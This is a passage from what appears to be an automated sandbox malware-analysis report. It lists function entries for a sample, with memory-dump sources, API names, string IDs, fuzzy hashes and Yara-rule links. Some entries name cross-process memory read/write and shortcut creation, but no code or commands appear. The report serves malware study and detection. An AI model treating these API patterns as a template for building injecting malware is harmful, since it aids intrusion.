                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Window$ForegroundPixelRelease
                                                          • String ID:
                                                          • API String ID: 4156661090-0
                                                          • Opcode ID: 0803af3d0555ee4f2e7cd4680bdbd11eb807c22797343ae4eaf726b5c3b1d4d7
                                                          • Instruction ID: 0ef64ab4336c2a31cffd8072966a054f3320ed1e2360099e1a0c140eae6bc893
                                                          • Opcode Fuzzy Hash: 0803af3d0555ee4f2e7cd4680bdbd11eb807c22797343ae4eaf726b5c3b1d4d7
                                                          • Instruction Fuzzy Hash: A9215122B1AA5182EB04DF27E8841BDA3A1FBCAF90B544035DE5DC7B55DF7CD8458740
                                                          Function 00007FF6A5395244 Relevance: 7.6, APIs: 5, Instructions: 54COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Initialize__scrt_fastfail__scrt_initialize_default_local_stdio_options__scrt_initialize_onexit_tables_invalid_parameter_noinfo_onexit_set_fmode
                                                          • String ID:
                                                          • API String ID: 2117695475-0
                                                          • Opcode ID: c6240938d00ce931eff62a9f8efb7c75b2bc90d30c2bcb96158b33b23c092f9e
                                                          • Instruction ID: 2ed981e006d2aeca2c2d771929e8dc503c75027db8ec30de8fc22575d31012c3
                                                          • Opcode Fuzzy Hash: c6240938d00ce931eff62a9f8efb7c75b2bc90d30c2bcb96158b33b23c092f9e
                                                          • Instruction Fuzzy Hash: 2C118B81E3F94395FA1AF3B054762B822816FE7B01F440438E95DD62C3FD1EAC8546A6
                                                          Function 00007FF6A53DCAB4 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: HeapInformationToken$AllocErrorLastProcess
                                                          • String ID:
                                                          • API String ID: 44706859-0
                                                          • Opcode ID: 3045165107d4a0871487eb7a52e49b2bb276054106bd9f861ce7bf3483f017d6
                                                          • Instruction ID: 4f5189ef3e1f9bd351047140c67e77d93c2c94f4fa802b3980e3de2a29efc275
                                                          • Opcode Fuzzy Hash: 3045165107d4a0871487eb7a52e49b2bb276054106bd9f861ce7bf3483f017d6
                                                          • Instruction Fuzzy Hash: A1118837A16B9186E710CF02E8405ADB7B4FB9AF90B554435CF8887B54EF78E815CB40
                                                          Function 00007FF6A53DCB58 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: HeapInformationToken$AllocErrorLastProcess
                                                          • String ID:
                                                          • API String ID: 44706859-0
                                                          • Opcode ID: 18e3121f69b2f55043958739cbc43e37301fc4036db83b04d1dc9e6091f96284
                                                          • Instruction ID: cae64e843a814431dea6f2bc76c4f999e1bb3778174f634d6c18042b793c410a
                                                          • Opcode Fuzzy Hash: 18e3121f69b2f55043958739cbc43e37301fc4036db83b04d1dc9e6091f96284
                                                          • Instruction Fuzzy Hash: 20116A36A15B5186E710CF02E84056DB7B4FB9AF80B154436CF8987B54EF38E8158B40
                                                          Function 00007FF6A53DB748 Relevance: 7.5, APIs: 5, Instructions: 43stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: From$Prog$FreeStringTasklstrcmpi
                                                          • String ID:
                                                          • API String ID: 3897988419-0
                                                          • Opcode ID: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
                                                          • Instruction ID: dcb0626e39731376d3bff6acec4acc1273e96644d22b022194f3da4faaba6942
                                                          • Opcode Fuzzy Hash: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
                                                          • Instruction Fuzzy Hash: 96112A26A19A9287F750CB26A41032A62B4EF96FC0F184434EF4DC7658DF2DD8418B00
                                                          Function 00007FF6A53E2ED0 Relevance: 7.5, APIs: 5, Instructions: 37windowtimeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                          • String ID:
                                                          • API String ID: 3741023627-0
                                                          • Opcode ID: 8c0ba02d18c33329f7d04451d21e8c8e2fc8c024a9545b6606e830f761915d0e
                                                          • Instruction ID: 3b99ebd38274d6835845fb86068e019edd7cf89cc9a0455c43c612cb88aa522a
                                                          • Opcode Fuzzy Hash: 8c0ba02d18c33329f7d04451d21e8c8e2fc8c024a9545b6606e830f761915d0e
                                                          • Instruction Fuzzy Hash: 5F11A922A0A94281EB65DF25E44437D23A0FF86F54F448031ED4DCA298EF7CDD86C310
                                                          Function 00007FF6A53ED7F8 Relevance: 7.5, APIs: 5, Instructions: 36sleepCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: PerformanceQuery$CounterSleep$Frequency
                                                          • String ID:
                                                          • API String ID: 2833360925-0
                                                          • Opcode ID: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
                                                          • Instruction ID: 7596e1b6c26ef31906dc5cf9052fac4f77c0a2bc0ecfcca93868dc4cd78cac85
                                                          • Opcode Fuzzy Hash: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
                                                          • Instruction Fuzzy Hash: C101D421A2AE1642EB06CB31E49413D93E0EFE7F90B140639E50FD65A0EF2DEC84CB00
                                                          Function 00007FF6A53722E8 Relevance: 7.5, APIs: 5, Instructions: 31COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Path$ObjectStroke$DeleteFillSelect
                                                          • String ID:
                                                          • API String ID: 2625713937-0
                                                          • Opcode ID: c45599d3bc9fc7debef7ab567c3c0eb4022d53e70f819905b21d88790cde579c
                                                          • Instruction ID: 1041b72381234be55235cd0aa0314367016f113997e8c13b7034890d192fc187
                                                          • Opcode Fuzzy Hash: c45599d3bc9fc7debef7ab567c3c0eb4022d53e70f819905b21d88790cde579c
                                                          • Instruction Fuzzy Hash: B0015E21D1AA5286F759DB51E9983382B61FF57FA0F184130D41DCAAA0DF6DE8448700
                                                          Function 00007FF6A53E03F8 Relevance: 7.5, APIs: 5, Instructions: 26threadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
                                                          • String ID:
                                                          • API String ID: 179993514-0
                                                          • Opcode ID: 3c9aaefa71688af513bcff76e9269722b622f20c654f000aa95846671475ad7f
                                                          • Instruction ID: a96142001516e60e1be599f2f5950b922036d671065faa3c4de360874f091351
                                                          • Opcode Fuzzy Hash: 3c9aaefa71688af513bcff76e9269722b622f20c654f000aa95846671475ad7f
                                                          • Instruction Fuzzy Hash: 8DF03010F2AA2282FB1497B669482B813E1AFABF51F845070CC0EC6291ED7DAC958F10
                                                          Function 00007FF6A53EB5D4 Relevance: 7.5, APIs: 5, Instructions: 26threadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
                                                          • String ID:
                                                          • API String ID: 179993514-0
                                                          • Opcode ID: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
                                                          • Instruction ID: c0f569d75ebdc4d4dac66c2ef34dcd81dfdbbc98c274e532fa5f21a9035647b7
                                                          • Opcode Fuzzy Hash: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
                                                          • Instruction Fuzzy Hash: DDF06510F2AA2242FB5497B668582BC12D1AFABF51F845070CD4EC6291FD7DAC958B50
                                                          Function 00007FF6A53F6D04 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 308comCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: CreateInitializeInstanceUninitialize
                                                          • String ID: .lnk
                                                          • API String ID: 948891078-24824748
                                                          • Opcode ID: bb49a61337d89a9848f7780026d10ac62e6b3b39f2b5ab5deb7fc3459a4390ae
                                                          • Instruction ID: 34ec9728b3df67a96354794dbb5ddfebdd33bc30e3ae17cf685e8e51a928a90a
                                                          • Opcode Fuzzy Hash: bb49a61337d89a9848f7780026d10ac62e6b3b39f2b5ab5deb7fc3459a4390ae
                                                          • Instruction Fuzzy Hash: 92D19262B29F4691EB10DB26D4902AD6B60FFD2F88F405035EE4E87B65EE3CD949C740
                                                          Function 00007FF6A539B1E8 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 150COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID: $*
                                                          • API String ID: 3215553584-3982473090
                                                          • Opcode ID: e1993591883a1ee4d578272befcf29134d05160a5f94b748d186053ef0cddf2b
                                                          • Instruction ID: 41940e2dd23fa602d922fc36f9044a3d5f73586cbc8a13e51506aa61ff2f68b7
                                                          • Opcode Fuzzy Hash: e1993591883a1ee4d578272befcf29134d05160a5f94b748d186053ef0cddf2b
                                                          • Instruction Fuzzy Hash: 076152B292EA42C6FB65CF6480B537C37A1EB87F18F541635C68AC5299EF28EC41C701
                                                          Function 00007FF6A53A6148 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _set_statfp
                                                          • String ID: !$acos
                                                          • API String ID: 1156100317-2870037509
                                                          • Opcode ID: 0d89aa78777a41b63d954a76095aee346a1dbdd639e7adc8a9fc006d5894d638
                                                          • Instruction ID: ef4693527dfeccf1dfafdb09687ac1ca50f08308a0a81f850869d8bc7466ff87
                                                          • Opcode Fuzzy Hash: 0d89aa78777a41b63d954a76095aee346a1dbdd639e7adc8a9fc006d5894d638
                                                          • Instruction Fuzzy Hash: E061F721D3DF5588E623CB35581127A9758FFA77C0F118336EA1EB6A65EF2DE4428700
                                                          Function 00007FF6A53A6408 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 138COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _set_statfp
                                                          • String ID: !$asin
                                                          • API String ID: 1156100317-2188059690
                                                          • Opcode ID: dda4458e7c1e859fb838f80da50bdd89987d805c8091ebd73b4f99c53429eb29
                                                          • Instruction ID: 8444d354c29a2ce4d148413e5cb5d15b9f3beec9ecce53b39700d9b9acca9afc
                                                          • Opcode Fuzzy Hash: dda4458e7c1e859fb838f80da50bdd89987d805c8091ebd73b4f99c53429eb29
                                                          • Instruction Fuzzy Hash: D461B422D3DF8185E653CB35581237A9764EFE77D0F108332EA5EB6A65DF2DA4828700
                                                          Function 00007FF6A53DEAC0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                                          • String ID: @
                                                          • API String ID: 4150878124-2766056989
                                                          • Opcode ID: 8590b3572ee50005f206f958431262ef9082a01c97b701578a5c0a82d3af5d25
                                                          • Instruction ID: 7b31cc2fbca0e69d4141225a91d570c19147502700b040d1d13fdadd55443b9f
                                                          • Opcode Fuzzy Hash: 8590b3572ee50005f206f958431262ef9082a01c97b701578a5c0a82d3af5d25
                                                          • Instruction Fuzzy Hash: 1851D373629A8592D720DB52E4805AEBBA0F7CAF94F004036EE4E93B45EE7CD905CB00
                                                          Function 00007FF6A53EA6BC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Menu$Delete$InfoItem
                                                          • String ID: P
                                                          • API String ID: 135850232-3110715001
                                                          • Opcode ID: 7a885196f2dcceb0a8221e88f5e4acf8149e86b4233e81131ef081c483961346
                                                          • Instruction ID: c96853b8be993346b97055e427251a6c311a8d6774e9b1966624e96288dc6f64
                                                          • Opcode Fuzzy Hash: 7a885196f2dcceb0a8221e88f5e4acf8149e86b4233e81131ef081c483961346
                                                          • Instruction Fuzzy Hash: BA417F32A25A8181EB61DB15D4483A967E1EBC7FA0F168231EE6D876D1EF38DD42C700
                                                          Function 00007FF6A53AEAA8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ByteCharErrorFileLastMultiWideWrite
                                                          • String ID: U
                                                          • API String ID: 2456169464-4171548499
                                                          • Opcode ID: 94b35a9ebb8fe33294e0bdd0e775bf8e0988a6ef2a86fc1225fbcd9ba36526fe
                                                          • Instruction ID: 3d0ec3f9ad24345b38ea11e4f81f3ae2c56f913309682b4faaa73c0c2fe4a47a
                                                          • Opcode Fuzzy Hash: 94b35a9ebb8fe33294e0bdd0e775bf8e0988a6ef2a86fc1225fbcd9ba36526fe
                                                          • Instruction Fuzzy Hash: B8419122A2EA4182DB20CF55E4443AAB7A1FB99B94F844031EE4EC7798EF7DD845C740
                                                          Function 00007FF6A541B454 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Window$Long
                                                          • String ID: SysTreeView32
                                                          • API String ID: 847901565-1698111956
                                                          • Opcode ID: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
                                                          • Instruction ID: e22b19bf531db8134196b4431f216dd253b8046409e22e75618fe00a6688507b
                                                          • Opcode Fuzzy Hash: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
                                                          • Instruction Fuzzy Hash: 4E417E32A0A79286E770DB14E444B9A77A1F785B64F104335DAAC47A98DF3CD851CB50
                                                          Function 00007FF6A541AB9C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83windowCOMMON
